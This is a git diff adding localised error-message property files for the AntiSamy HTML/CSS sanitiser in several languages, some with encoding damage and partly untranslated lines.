+error.pi.found=An XML processing instruction was found, which is not allowed. The rest of the message is intact, and its removal should not have any side effects. The contents of the instruction was \"{0}\".
+
+# Attribute related
+error.attribute.notfound=The {0} tag contained an attribute that we could not process. The {1} attribute has been filtered out, but the tag is still in place. The value of the attribute was \"{2}\".
+error.attribute.invalid=The {0} tag contained an attribute that we could not process. The {1} attribute had a value of \"{2}\". This value could not be accepted for security reasons. We have chosen to remove this attribute from the tag and leave everything else in place so that we could process the input.
+error.attribute.invalid.filtered=The {0} tag contained an attribute that we could not process. The {1} attribute had a value of \"{2}\". This value could not be accepted for security reasons. We have chosen to filter the {0} tag in order to continue processing the input.
+error.attribute.invalid.encoded=The {0} tag contained an attribute that we could not process. The {1} attribute had a value of \"{2}\". This value could not be accepted for security reasons. We have chosen to encode the {0} tag in order to continue processing the input.
+error.attribute.invalid.removed=The {0} tag contained an attribute that we could not process. The {1} attribute had a value of \"{2}\". This value could not be accepted for security reasons. We have chosen to remove the entire {0} tag in order to continue processing the input.
+
+# CSS related
+error.css.tag.malformed=The stylesheet code \"{0}\" could not be parsed.
+error.css.import.disabled=Importing of stylesheets has not been enabled.
+error.css.import.exceeded=The stylesheet located at {0} exceeds the total allowed number of stylesheets to be imported and was not retrieved. The maximum number of imported stylesheets is limited to {1} stylesheets.
+error.css.import.failure=The remote stylesheet found within the input, located at {0}, that could not be retrieved. The site may be down or at an unaccessible host. This may not affect the format of the input.
+error.css.import.toolarge=The stylesheet located at {0} causes the total input to be too large and was not imported. The maximum size of all input is limited to {1} bytes.
+error.css.import.url.invalid=The URL for stylesheet import could not be accepted for security reasons. The url was {0}.
+
+error.css.stylesheet.relative=The stylesheet referenced a relative stylesheet, \"{0}\", that could not be retrieved.
+error.css.tag.relative=The {0} tag had a style attribute that specified a relative stylesheet reference, \"{1}\", that could not be retrieved.
+
+error.css.stylesheet.rule.notfound=The stylesheet uses a rule, \"{0}\", that is not supported. The rule has been removed for security reasons.
+error.css.tag.rule.notfound=The {0} tag had a style attribute that uses a rule, \"{1}\", that is not supported. The rule has been removed for security reasons.
+
+error.css.stylesheet.selector.notfound=The stylesheet uses selector, \"{0}\", that could not be processed. The selector has been removed for security reasons.
+error.css.tag.selector.notfound=The {0} tag had a style attribute that uses a selector, \"{1}\", that could not be processed. The selector has been removed for security reasons.
+
+error.css.stylesheet.selector.disallowed=The stylesheet had a selector, \"{0}\", that could not be allowed for security reasons.
+error.css.tag.selector.disallowed=The {0} tag had a style attribute that contained a selector, \"{1}\", that could not be allowed for security reasons.
+
+error.css.stylesheet.property.invalid=The stylesheet had a property, \"{0}\", that could not be allowed for security reasons.
+error.css.tag.property.invalid=The {0} tag had a style attribute, \"{1}\", that could not be allowed for security reasons.
\ No newline at end of file
diff --git a/src/main/resources/AntiSamy_en_US.properties b/src/main/resources/AntiSamy_en_US.properties
new file mode 100644
index 0000000..c97e66a
--- /dev/null
+++ b/src/main/resources/AntiSamy_en_US.properties
@@ -0,0 +1,42 @@
+# General
+error.size.toolarge=The input was too large. The specified input was {0} bytes and the maximum is {1} bytes.
+error.comment.removed=The comment field was filtered out for security reasons. The value of the comment field was {0}.
+
+# Tag related
+error.tag.notfound=The {0} tag has been filtered for security reasons. The contents of the tag will remain in place.
+error.tag.removed=The {0} tag is not allowed for security reasons. This tag should not affect the display of the input.
+error.tag.filtered=The {0} tag has been filtered for security reasons. The contents of the tag will remain in place.
+error.tag.encoded=The {0} tag has been encoded for security reasons. The contents of the tag will remain in place.
+error.tag.empty=The {0} tag was empty, and therefore we could not process it. The rest of the message is intact, and its removal should not have any side effects.
+error.cdata.found=A CDATA section was found, which is not allowed. The rest of the message is intact, and its removal should not have any side effects. The contents of the CDATA was \"{0}\".
+error.pi.found=An XML processing instruction was found, which is not allowed. The rest of the message is intact, and its removal should not have any side effects. The contents of the instruction was \"{0}\".
+
+# Attribute related
+error.attribute.notfound=The {0} tag contained an attribute that we could not process. The {1} attribute has been filtered out, but the tag is still in place. The value of the attribute was \"{2}\".
+error.attribute.invalid=The {0} tag contained an attribute that we could not process. The {1} attribute had a value of \"{2}\". This value could not be accepted for security reasons. We have chosen to remove this attribute from the tag and leave everything else in place so that we could process the input.
+error.attribute.invalid.filtered=The {0} tag contained an attribute that we could not process. The {1} attribute had a value of \"{2}\". This value could not be accepted for security reasons. We have chosen to filter the {0} tag in order to continue processing the input.
+error.attribute.invalid.encoded=The {0} tag contained an attribute that we could not process. The {1} attribute had a value of \"{2}\". This value could not be accepted for security reasons. We have chosen to encode the {0} tag in order to continue processing the input.
+error.attribute.invalid.removed=The {0} tag contained an attribute that we could not process. The {1} attribute had a value of \"{2}\". This value could not be accepted for security reasons. We have chosen to remove the entire {0} tag in order to continue processing the input.
+
+# CSS related
+error.css.tag.malformed=The stylesheet code \"{0}\" could not be parsed.
+error.css.import.disabled=Importing of stylesheets has not been enabled.
+error.css.import.exceeded=The stylesheet located at {0} exceeds the total allowed number of stylesheets to be imported and was not retrieved. The maximum number of imported stylesheets is limited to {1} stylesheets.
+error.css.import.failure=The remote stylesheet found within the input, located at {0}, that could not be retrieved. The site may be down or at an unaccessible host. This may not affect the format of the input.
+error.css.import.toolarge=The stylesheet located at {0} causes the total input to be too large and was not imported. The maximum size of all input is limited to {1} bytes.
+error.css.import.url.invalid=The URL for stylesheet import could not be accepted for security reasons. The url was {0}.
+
+error.css.stylesheet.relative=The stylesheet referenced a relative stylesheet, \"{0}\", that could not be retrieved.
+error.css.tag.relative=The {0} tag had a style attribute that specified a relative stylesheet reference, \"{1}\", that could not be retrieved.
+
+error.css.stylesheet.rule.notfound=The stylesheet uses a rule, \"{0}\", that is not supported. The rule has been removed for security reasons.
+error.css.tag.rule.notfound=The {0} tag had a style attribute that uses a rule, \"{1}\", that is not supported. The rule has been removed for security reasons.
+
+error.css.stylesheet.selector.notfound=The stylesheet uses selector, \"{0}\", that could not be processed. The selector has been removed for security reasons.
+error.css.tag.selector.notfound=The {0} tag had a style attribute that uses a selector, \"{1}\", that could not be processed. The selector has been removed for security reasons.
+
+error.css.stylesheet.selector.disallowed=The stylesheet had a selector, \"{0}\", that could not be allowed for security reasons.
+error.css.tag.selector.disallowed=The {0} tag had a style attribute that contained a selector, \"{1}\", that could not be allowed for security reasons.
+
+error.css.stylesheet.property.invalid=The stylesheet had a property, \"{0}\", that could not be allowed for security reasons.
+error.css.tag.property.invalid=The {0} tag had a style attribute, \"{1}\", that could not be allowed for security reasons.
diff --git a/src/main/resources/AntiSamy_es_MX.properties b/src/main/resources/AntiSamy_es_MX.properties
new file mode 100644
index 0000000..17c19c4
--- /dev/null
+++ b/src/main/resources/AntiSamy_es_MX.properties
@@ -0,0 +1,42 @@
+# General
+error.size.toolarge=La entrada fue muy grande. La entrada especificada fue {0} bytes y el máximo es {1} bytes.
+error.comment.removed=El campo de comentario fue filtrado por razones de seguridad. El valor del campo de comentario era {0}
+
+# Tag related
+error.tag.notfound=El tag {0} ha sido filtrado por razones de seguridad. Los contenidos del tag permanecerán en su lugar.
+error.tag.removed=El tag {0} no es permitido por razones de seguridad. Este tag no debe afectar el despliegue de la entrada.
+error.tag.filtered=El tag {0} ha sido filtrado por razones de seguridad. Los contenidos del tag permanecerán en su lugar.
+error.tag.encoded=El tag {0} ha sido codificado por razones de seguridad. Los contenidos del tag permanecerán en su lugar.
+error.tag.empty=El tag {0} estaba vac�o, y por lo tanto no podemos procesarlo. El resto del mensaje est� intacto, y su eliminaci�n no debe tener ning�n efecto secundario.
+error.cdata.found=A CDATA section was found, which is not allowed. The rest of the message is intact, and its removal should not have any side effects. The contents of the CDATA was \"{0}\".
+error.pi.found=An XML processing instruction was found, which is not allowed. The rest of the message is intact, and its removal should not have any side effects. The contents of the instruction was \"{0}\".
+
+# Attribute related
+error.attribute.notfound=El tag {0} contenía un atributo que no pudimos procesar. El atributo {1} ha sido filtrado, pero el tag aún está en su lugar. El valor del atributo era \"{2}\".
+error.attribute.invalid=El tag {0} contenía un atributo que no pudimos procesar. El atributo {1} tenía un valor de \"{2}\". Este valor no pudo ser aceptado por razones de seguridad. Hemos elegido remover este atributo del tag y dejar todo lo demás en su lugar de tal manera que podamos procesar la entrada.
+error.attribute.invalid.filtered=El tag {0} contenía un atributo que no pudimos procesar. El atributo {1} tenía un valor de \"{2}\". Este valor no pudo ser aceptado por razones de seguridad. Hemos elegido filtrar el tag {0} para poder continuar procesando la entrada.
+error.attribute.invalid.encoded=Hemos decidido remover este atributo del tag y dejar todo lo demás en su lugar de tal manera que podamos procesar la entrada. Hemos elegido codificar el tag {0} para poder continuar procesando la entrada.
+error.attribute.invalid.removed=Hemos decidido remover este atributo del tag y dejar todo lo demás en su lugar de tal manera que podamos procesar la entrada. Hemos elegido remover el tag {0} completo para poder continuar procesando la entrada.
+
+# CSS related
+error.css.tag.malformed=The stylesheet code \"{0}\" could not be parsed.
+error.css.import.disabled=El importar hojas de estilo no ha sido habilitado.
+error.css.import.exceeded=La hoja de estilo localizada en {0} excede el número total de hojas de estilo que se permite importar y por tanto no fue obtenida. El número máximo de hojas de estilo a importar está limitado a {1} hojas.
+error.css.import.failure=La hoja de estilo remota encontrada dentro de la entrada, localizada en {0}, no pudo ser obtenida. El sitio puede estar abajo o en un host innaccesible. Puede que esto no afecte el formato de la entrada.
+error.css.import.toolarge=La hoja de estilo localizada en {0} causa que el tamaño total de la extrada sea demasiado grande y no fue importada. El tamaño máximo de toda la entrada está limitado a {1} bytes.
+error.css.import.url.invalid=El URL para importar hojas de estilo no pudo ser aceptado por razones de seguridad. El url era {0}.
+
+error.css.stylesheet.relative=The stylesheet hace referencia a una hoja de estilo relativa, \"{0}\", que no puedo ser obtenida.
+error.css.tag.relative=El tag {0} tenía un atributo style que especificaba referencia relativa a una hoja de estilo, \"{1}\", que no pudo ser obtenida.
+
+error.css.stylesheet.rule.notfound=La hoja de estilo uses a rule, \"{0}\", that is not supported. The rule has been removed for security reasons.
+error.css.tag.rule.notfound=The {0} tag had a style attribute that uses a rule, \"{1}\", that is not supported. The rule has been removed for security reasons.
+
+error.css.stylesheet.selector.notfound=The hoja de estilo usa un selector, \"{0}\", que no pudo ser procesado. El selector ha sido removido por razones de seguridad.
+error.css.tag.selector.notfound=El tag {0} tenía un atributo style que usaba un selector, \"{1}\", que no pudo ser procesado. El selector ha sido removido por razones de seguridad.
+
+error.css.stylesheet.selector.disallowed=La hoja de estilo tenía un selector, \"{0}\", que no pudo ser permitido por razones de seguridad.
+error.css.tag.selector.disallowed=El tag {0} tenía un atributo style que contenía un selector, \"{1}\", que no pudo ser permitido por razones de seguridad.
+
+error.css.stylesheet.property.invalid=La hoja de estilo tenía una propiedad, \"{0}\", que no pudo ser permitida por razones de seguridad.
+error.css.tag.property.invalid=El tag {0} tenía un atributo style, \"{1}\", que no pudo ser permitido por razones de seguridad.
\ No newline at end of file
diff --git a/src/main/resources/AntiSamy_it_IT.properties b/src/main/resources/AntiSamy_it_IT.properties
new file mode 100644
index 0000000..e9ec555
--- /dev/null
+++ b/src/main/resources/AntiSamy_it_IT.properties
@@ -0,0 +1,38 @@
+# General
+error.size.toolarge= Il input � troppo grande. Il specificato input � stato {0} byte e il massimo � {1} byte
+error.comment.removed= Il campo commento � stato filtrati per motivi di sicurezza. Il valore dei commenti � {0}
+
+# Tag related
+error.tag.notfound= {0} tag � stata filtrata per motivi di sicurezza. Il contenuto del tag rimane sul posto.
+error.tag.removed= {0} tag non � consentito per motivi di sicurezza. Questo tag non dovrebbe incidere sulla visualizzazione degli input.
+error.tag.filtered= {0} tag � stata filtrata per motivi di sicurezza. Il contenuto del tag rimane sul posto.
+error.tag.encoded=The {0} tag has been encoded for security reasons. The contents of the tag will remain in place.
+error.tag.empty={0} tag era vuoto, e quindi non abbiamo potuto processo di esso. Il resto del messaggio � intatta, e la sua rimozione non dovrebbe avere alcun effetto collaterale.
+error.cdata.found=� stata individuata una sezione CDATA, che non � permessa. La rimozione non dovrebbe avere effetti collaterali, e il resto del messaggio � intatto. Il contenuto della sezione CDATA era \"{0}\".
+error.pi.found=� stata individuata una istruzione di elaborazione XML, che non � permessa. La rimozione non dovrebbe avere effetti collaterali, e il resto del messaggio � intatto. Il contenuto dell'istruzione era \"{0}\".
+
+# Attribute related
+error.attribute.notfound= {0} tag conteneva un attributo che non abbiamo potuto processo. {1} attributo � stata filtrata, ma tag rimane sul posto.
+error.attribute.invalid= {0} tag conteneva un attributo che non abbiamo potuto processo. {1} attributo ha avuto un valore di \ "{2} \" . Questo valore non pu� essere accettato per ragioni di sicurezza. Abbiamo scelto di rimuovere questo attributo del tag e lasciare tutto il resto.
+error.attribute.invalid.filtered= {0} tag conteneva un attributo che non abbiamo potuto processo. {1} attributo ha avuto un valore di \ "{2} \" . Questo valore non pu� essere accettato per ragioni di sicurezza. Abbiamo scelto di filtrare il {0} tag.
+error.attribute.invalid.encoded=The {0} tag contained an attribute that we could not process. The {1} attribute had a value of \"{2}\". This value could not be accepted for security reasons. We have chosen to encode the {0} tag in order to continue processing the input.
+error.attribute.invalid.removed= {0} tag conteneva un attributo che non abbiamo potuto processo. {1} attributo ha avuto un valore di \ "{2} \" . Questo valore non pu� essere accettato per ragioni di sicurezza. Abbiamo scelto di rimuovere l'intera {0} tag.
+
+# CSS related
+error.css.tag.malformed=The stylesheet code \"{0}\" could not be parsed.
+error.css.import.disabled= Importazione di fogli di stile non � stato attivato.
+error.css.import.exceeded= Il foglio di stile a {0} e piu� che il totale consentito numero di fogli di stile per essere importati e non � stato recuperato. Il numero massimo delle importazioni di fogli di stile � limitata a {1} fogli di stile.
+error.css.import.failure= Il foglio di stile esterno trovato, situato a {0} , che non potevano essere recuperato. Il sito possono essere inattivi o accedere a un host. Questo non deve pregiudicare il formato di input.
+error.css.import.toolarge= Il foglio di stile situato a {0} fa il totale di input di essere troppo grande e non � stato importato. La dimensione massima di tutti gli input � limitato a {1} bytes.
+error.css.import.url.invalid= L'URL del foglio di stile esterno non potrebbe essere accettato per ragioni di sicurezza. L'url � stato {1}
+error.css.stylesheet.relative= Il foglio di stile di riferimento di stile parente, \ "{0} \" , che non potevano essere recuperati.
+error.css.tag.relative= {0} tag ha avuto un attributo di stile specificato che un parente di riferimento di stile, \ "{0} \" , che non possono essere recuperati.
+error.css.stylesheet.rule.notfound= Il foglio di stile utilizza una regola, \ "{0} \" , che non � supportato. La regola � stata rimossa per motivi di sicurezza.
+error.css.tag.rule.notfound= {0} tag ha avuto un attributo di stile che utilizza una regola, \ "{0} \" , che non � supportato. La regola � stata rimossa per motivi di sicurezza.
+error.css.stylesheet.selector.notfound= Il foglio di stile utilizza selettore, \ "{0} \" , che non potevano essere trattati. Il selettore � stato rimosso per ragioni di sicurezza.
+error.css.tag.selector.notfound= {0} tag ha avuto un attributo di stile che utilizza un selettore, \ "{0} \" , che non potevano essere trattati. Il selettore � stato rimosso per ragioni di sicurezza.
+error.css.stylesheet.selector.disallowed= Il foglio di stile ha avuto un selettore, \ "{0} \" , che � vietato per motivi di sicurezza.
+error.css.tag.selector.disallowed= {0} tag aveva uno stile attributo che conteneva un selettore, \ "{1} \" , che � vietato per motivi di sicurezza.
+error.css.stylesheet.property.invalid= Il foglio di stile ha una propriet�, \ "{0} \" , che � vietato per motivi di sicurezza.
+error.css.tag.property.invalid= {0} tag ha avuto un attributo di stile, \ "{1} \" , che � vietato per motivi di sicurezza.
+
diff --git a/src/main/resources/AntiSamy_no_NB.properties b/src/main/resources/AntiSamy_no_NB.properties
new file mode 100644
index 0000000..0c58b2a
--- /dev/null
+++ b/src/main/resources/AntiSamy_no_NB.properties
@@ -0,0 +1,37 @@
+# General
+error.size.toolarge=For mye inndata. Den aktuelle mengden var {0} bytes og det maksimale er {1} bytes.
+error.comment.removed=Kommentarfeltet ble av sikkerhetsgrunner fjernet. Innholdet i kommentarfeltet var <u>{0}</u>
+
+# Tag related
+error.tag.notfound=Taggen <b>{0}</b> har av sikkerhetsgrunner blitt filtrert. Innholdet i taggen er uendret.
+error.tag.removed=Taggen <b>{0}</b> er av sikkerhetsgrunner ikke tillatt. Denne taggen skal ikke påvirke visningen av inndataene.
+error.tag.filtered=Taggen <b>{0}</b> har av sikkerhetsgrunner blitt filtrert. Innholdet i taggen er uendret.
+error.tag.encoded=The {0} tag has been encoded for security reasons. The contents of the tag will remain in place.
+error.tag.empty=Taggen {0} var tomt, og derfor kunne vi ikke behandle den. Resten av meldingen er intakt, og fjerning burde ikke ha noen bivirkninger.
+error.cdata.found=En CDATA delen var funnet, noe som ikke er tillatt. Resten av meldingen er intakt, og fjerning b�r ikke ha noen bivirkninger. Innholdet i CDATA var \"{0}\".
+error.pi.found=En XML behandlingsinstruksjon ble funnet, som ikke er tillatt. Resten av meldingen er intakt, og fjerning b�r ikke ha noen bivirkninger. Innholdet i undervisningen var \"{0}\".
+
+# Attribute related
+error.attribute.notfound=Taggen <b>{0}</b> inneholdt et attributt som ikke kunne behandles. Attributtet <b>{1}</b> har blitt filtrert bort men taggen er fremdeles på plass.
+error.attribute.invalid=Taggen <b>{0}</b> inneholdt et attributt som ikke kunne behandles. Attributtet <b>{1}</b> hadde verdien <u>\"{2}\"</u>. Av sikkerhetsgrunner tillates ikke denne verdien. Dette attributtet er fjernet fra taggen og alt annet er beholdt slik at inndataene kunne behandles.
+error.attribute.invalid.filtered=Taggen <b>{0}</b> inneholdt et attributt som ikke kunne behandles. Attributtet <b>{1}</b> hadde verdien <u>\"{2}\"</u>. Av sikkerhetsgrunner tillates ikke denne verdien. Taggen <b>{0}</b> er blitt filtrert slik at inndataene kunne behandles.
+error.attribute.invalid.encoded=The {0} tag contained an attribute that we could not process. The {1} attribute had a value of \"{2}\". This value could not be accepted for security reasons. We have chosen to encode the {0} tag in order to continue processing the input.
+error.attribute.invalid.removed=Taggen <b>{0}</b> inneholdt et attributt som ikke kunne behandles. Attributtet <b>{1}</b> hadde verdien <u>\"{2}\"</u>. Av sikkerhetsgrunner tillates ikke denne verdien. Hele taggen <b>{0}</b> er blitt fjernet slik at inndataene fortsatt kunne behandles.
+
+# CSS related
+error.css.tag.malformed=The stylesheet code \"{0}\" could not be parsed.
+error.css.import.disabled=Import av stilark er ikke slått på.
+error.css.import.exceeded=Stilarket som befinner seg på <b>{0}</b> går ut over det maksimale antallet stilark som kan importeres og ble ikke hentet. Antallet importerte stilark er begrenset til {1}.
+error.css.import.failure=Stilarket som er spesifisert i inndata og som befinner seg på <b>{0}</b> kunne ikke hentes. Nettstedet kan være nede eller befinne seg på en maskin som er utilgjengelig. Dette kan ha betydning for formatet på inndataene.
+error.css.import.toolarge=Stilarket som befinner seg på <b>{0}</b> fører til at den totale mengden inndata blir for stor. Mengden inndata er begrenset til {1} bytes.
+error.css.import.url.invalid=URL-en for stilark-import kunne av sikkerhetsgrunner ikke aksepteres. URL-en var <u>{0}</u>.
+error.css.stylesheet.relative=<b>Stilarket</b> viser til et relativt stilark, <u>\"{0}\"</u>, som ikke kunne hentes.
+error.css.tag.relative=Taggen <b>{0}</b> har en stilattributt som viser til et relativt stilark, <u>\"{1}\"</u>, som ikke kunne hentes.
+error.css.stylesheet.rule.notfound=<b>Stilarket</b> bruker en regel, <u>\"{0}\"</u>, som ikke er støttet. Regelen har av sikkerhetsgrunner blitt fjernet.
+error.css.tag.rule.notfound=Taggen <b>{0}</b> hadde en stilattributt som bruker en regel, <u>\"{1}\"</u>, som ikke er støttet. Regelen har av sikkerhetsgrunner blitt fjernet.
+error.css.stylesheet.selector.notfound=<b>Stilarket</b> bruker en selektor, <u>\"{0}\"</u>, som ikke kunne behandles. Selektoren har av sikkerhetsgrunner blitt fjernet.
+error.css.tag.selector.notfound=Taggen <b>{0}</b> hadde en stilattributt som bruker en selektor, <u>\"{1}\"</u>, som ikke kunne behandles. Selektoren har av sikkerhetsgrunner blitt fjernet.
+error.css.stylesheet.selector.disallowed=<b>Stilarket</b> hadde en selektor, <b>\"{0}\"</b>, som av sikkerhetsgrunner ikke kunne tillates.
+error.css.tag.selector.disallowed=Taggen <b>{0}</b> hadde en stilattributt som inneholder en selektor, <u>\"{1}\"</u>, som av sikkerhetsgrunner ikke kunne tillates.
+error.css.stylesheet.property.invalid=<b>Stilarket</b> hadde en egenskap, <b>\"{0}\"</b>, som av sikkerhetsgrunner ikke kunne tillates.
+error.css.tag.property.invalid=Taggen <b>{0}</b> hadde en stil attributt, <b>\"{1}\"</b>, som av sikkerhetsgrunner ikke kunne tillates.
\ No newline at end of file
diff --git a/src/main/resources/AntiSamy_pt_BR.properties b/src/main/resources/AntiSamy_pt_BR.properties
new file mode 100644
index 0000000..da7761f
--- /dev/null
+++ b/src/main/resources/AntiSamy_pt_BR.properties
@@ -0,0 +1,42 @@
+# General
+error.size.toolarge=O entrada foi muito grande. O entrada especificado fue {0} bytes e o maximo � {1} bytes.
+error.comment.removed=O coment�rio regi�o foi filtrado para raz�es de seguran�a. O valor do regi�o era {0}
+
+# Tag related
+error.tag.notfound=A {0} etiqueta foi filtrada para raz�es de seguran�a. O conte�do da etiqueta permanecer�.
+error.tag.removed=A {0} etiqueta n�o � permitida para raz�es de seguran�a. Esta etiqueta n�o deve afetar a apar�ncia da entrada.
+error.tag.filtered=A {0} etiqueta foi filtrada para raz�es de seguran�a. O conte�do da etiqueta permanecer�.
+error.tag.encoded=The {0} tag has been encoded for security reasons. The contents of the tag will remain in place.
+error.tag.empty=A {0} estava vazia e, portanto, n�o poder�amos process�-lo. O restante da mensagem est� intacta, e sua retirada n�o deve ter nenhum efeito colateral.
+error.cdata.found=Uma se��o CDATA foi encontrado, o que n�o � permitido. O resto da mensagem est� intacta, e sua retirada n�o deve ter quaisquer efeitos secund�rios. O conte�do da CDATA foi \"{0}\".
+error.pi.found=Uma instru��o de processamento XML foi encontrado, o que n�o � permitido. O resto da mensagem est� intacta, e sua retirada n�o deve ter quaisquer efeitos secund�rios. O conte�do da instru��o era \"{0}\".
+
+# Attribute related
+error.attribute.notfound=A {0} etiqueta contem um atributo que n�s n�o podemos processor. A {1} atributo foi filtrada, pero a etiqueta permanecer�.
+error.attribute.invalid=A {0} etiqueta contem um atributo que n�s n�o podemos processor. A {1} atributo teve um valor de \"{2}\". Este valor n�o podia ser aceitado para raz�es de seguran�a. Decidimos eliminar este atributo da etiqueta e mantenha o resto de modo que possamos processar a entrada.
+error.attribute.invalid.filtered=A {0} etiqueta contem um atributo que n�s n�o podemos processor. A {1} atributo teve um valor de \"{2}\". Este valor n�o podia ser aceitado para raz�es de seguran�a. Decidimos filtrar a {0} etiqueta para continuar processamento a entrada.
+error.attribute.invalid.encoded=The {0} tag contained an attribute that we could not process. The {1} attribute had a value of \"{2}\". This value could not be accepted for security reasons. We have chosen to encode the {0} tag in order to continue processing the input.
+error.attribute.invalid.removed=A {0} etiqueta contem um atributo que n�s n�o podemos processor. A {1} atributo teve um valor de \"{2}\". Este valor n�o podia ser aceitado para raz�es de seguran�a. Decidimos eliminar o inteiro {0} etiqueta para continuar processamento a entrada.
+
+# CSS related
+error.css.tag.malformed=The stylesheet code \"{0}\" could not be parsed.
+error.css.import.disabled=Importar de stylesheets n�o foi capacitado.
+error.css.import.exceeded=O stylesheet localizou em {0} excede o total que n�mero permitido de stylesheets ser importado e n�o foi recobrado. O n�mero m�ximo de stylesheets importado � limitado a {1} stylesheets.
+error.css.import.failure=N�o podia ser recobrado o stylesheet remoto referiu-se dentro da entrada, localizado em {0}. O site n�o pode ser acess�vel. Isto n�o pode afetar o formato da entrada.
+error.css.import.toolarge=O stylesheet localizou em {0} faz a entrada total ser demais grande e n�o foi importado. O tamanho m�ximo de toda entrada � limitado a {1} bytes.
+error.css.import.url.invalid=O URL para o stylesheet importe n�o podia ser aceitado para raz�es de seguran�a. O URL era {1}
+
+error.css.stylesheet.relative=O stylesheet referiu-se um stylesheet relative, \"{0}\", que n�o podia ser recobrado.
+error.css.tag.relative=O {0} etiqueta contido um atributo de estilo que especificou uma refer�ncia relativa de stylesheet, \"{0}\", que n�o podia ser recobrado.
+
+error.css.stylesheet.rule.notfound=O stylesheet usa uma regra, \"{0}\", que n�o � suportado. A regra foi eliminada para raz�es de seguran�a.
+error.css.tag.rule.notfound=O {0} etiqueta contido um atributo de estilo que usa uma regra, \"{0}\", que n�o � suportado. A regra foi eliminada para raz�es de seguran�a.
+
+error.css.stylesheet.selector.notfound=O stylesheetM/b> usa um selector, \"{0}\", que n�o podia ser processado. Este selector foi eliminada para raz�es de seguran�a.
+error.css.tag.selector.notfound=O {0} etiqueta contido um atributo de estilo que usa um selector, \"{0}\", que n�o podia ser processado. Este selector foi eliminada para raz�es de seguran�a.
+
+error.css.stylesheet.selector.disallowed=O stylesheet teve um selector, \"{0}\", que n�o podia ser processado para raz�es de seguran�a.
+error.css.tag.selector.disallowed=O {0} etiqueta contido um atributo que contido um selector, \"{1}\", que n�o podia ser permitido para raz�es de seguran�a.
+
+error.css.stylesheet.property.invalid= O stylesheet teve uma propriedade, \"{0}\", que n�o podia ser permitido para raz�es de seguran�a.
+error.css.tag.property.invalid=O {0} etiqueta contido um atributo de estilo, \"{1}\", que n�o podia ser permitido para raz�es de seguran�a.
diff --git a/src/main/resources/AntiSamy_pt_PT.properties b/src/main/resources/AntiSamy_pt_PT.properties
new file mode 100644
index 0000000..ebd11ed
--- /dev/null
+++ b/src/main/resources/AntiSamy_pt_PT.properties
@@ -0,0 +1,42 @@
+# General
+error.size.toolarge=O entrada foi muito grande. O entrada especificado fue {0} bytes e o maximo � {1} bytes.
+error.comment.removed=O coment�rio regi�o foi filtrado para raz�es de seguran�a. O valor do regi�o era {0}
+
+# Tag related
+error.tag.notfound=A {0} etiqueta foi filtrada para raz�es de seguran�a. O conte�do da etiqueta permanecer�.
+error.tag.removed=A {0} etiqueta n�o � permitida para raz�es de seguran�a. Esta etiqueta n�o deve afetar a apar�ncia da entrada.
+error.tag.filtered=A {0} etiqueta foi filtrada para raz�es de seguran�a. O conte�do da etiqueta permanecer�.
+error.tag.encoded=The {0} tag has been encoded for security reasons. The contents of the tag will remain in place.
+error.tag.empty=A {0} estava vazia e, portanto, n�o poder�amos process�-lo. O restante da mensagem est� intacta, e sua retirada n�o deve ter nenhum efeito colateral.
+error.cdata.found=Uma se��o CDATA foi encontrado, o que n�o � permitido. O resto da mensagem est� intacta, e sua retirada n�o deve ter quaisquer efeitos secund�rios. O conte�do da CDATA foi \"{0}\".
+error.pi.found=Uma instru��o de processamento XML foi encontrado, o que n�o � permitido. O resto da mensagem est� intacta, e sua retirada n�o deve ter quaisquer efeitos secund�rios. O conte�do da instru��o era \"{0}\".
+
+# Attribute related
+error.attribute.notfound=A {0} etiqueta contem um atributo que n�s n�o podemos processor. A {1} atributo foi filtrada, pero a etiqueta permanecer�.
+error.attribute.invalid=A {0} etiqueta contem um atributo que n�s n�o podemos processor. A {1} atributo teve um valor de \"{2}\". Este valor n�o podia ser aceitado para raz�es de seguran�a. Decidimos eliminar este atributo da etiqueta e mantenha o resto de modo que possamos processar a entrada.
+error.attribute.invalid.filtered=A {0} etiqueta contem um atributo que n�s n�o podemos processor. A {1} atributo teve um valor de \"{2}\". Este valor n�o podia ser aceitado para raz�es de seguran�a. Decidimos filtrar a {0} etiqueta para continuar processamento a entrada.
+error.attribute.invalid.encoded=The {0} tag contained an attribute that we could not process. The {1} attribute had a value of \"{2}\". This value could not be accepted for security reasons. We have chosen to encode the {0} tag in order to continue processing the input.
+error.attribute.invalid.removed=A {0} etiqueta contem um atributo que n�s n�o podemos processor. A {1} atributo teve um valor de \"{2}\". Este valor n�o podia ser aceitado para raz�es de seguran�a. Decidimos eliminar o inteiro {0} etiqueta para continuar processamento a entrada.
+
+# CSS related
+error.css.tag.malformed=The stylesheet code \"{0}\" could not be parsed.
+error.css.import.disabled=Importar de stylesheets n�o foi capacitado.
+error.css.import.exceeded=O stylesheet localizou em {0} excede o total que n�mero permitido de stylesheets ser importado e n�o foi recobrado. O n�mero m�ximo de stylesheets importado � limitado a {1} stylesheets.
+error.css.import.failure=N�o podia ser recobrado o stylesheet remoto referiu-se dentro da entrada, localizado em {0}. O site n�o pode ser acess�vel. Isto n�o pode afetar o formato da entrada.
+error.css.import.toolarge=O stylesheet localizou em {0} faz a entrada total ser demais grande e n�o foi importado. O tamanho m�ximo de toda entrada � limitado a {1} bytes.
+error.css.import.url.invalid=O URL para o stylesheet importe n�o podia ser aceitado para raz�es de seguran�a. O URL era {1}
+
+error.css.stylesheet.relative=O stylesheet referiu-se um stylesheet relative, \"{0}\", que n�o podia ser recobrado.
+error.css.tag.relative=O {0} etiqueta contido um atributo de estilo que especificou uma refer�ncia relativa de stylesheet, \"{0}\", que n�o podia ser recobrado.
+
+error.css.stylesheet.rule.notfound=O stylesheet usa uma regra, \"{0}\", que n�o � suportado. A regra foi eliminada para raz�es de seguran�a.
+error.css.tag.rule.notfound=O {0} etiqueta contido um atributo de estilo que usa uma regra, \"{0}\", que n�o � suportado. A regra foi eliminada para raz�es de seguran�a.
+
+error.css.stylesheet.selector.notfound=O stylesheetM/b> usa um selector, \"{0}\", que n�o podia ser processado. Este selector foi eliminada para raz�es de seguran�a.
+error.css.tag.selector.notfound=O {0} etiqueta contido um atributo de estilo que usa um selector, \"{0}\", que n�o podia ser processado. Este selector foi eliminada para raz�es de seguran�a.
+
+error.css.stylesheet.selector.disallowed=O stylesheet teve um selector, \"{0}\", que n�o podia ser processado para raz�es de seguran�a.
+error.css.tag.selector.disallowed=O {0} etiqueta contido um atributo que contido um selector, \"{1}\", que n�o podia ser permitido para raz�es de seguran�a.
+
+error.css.stylesheet.property.invalid= O stylesheet teve uma propriedade, \"{0}\", que n�o podia ser permitido para raz�es de seguran�a.
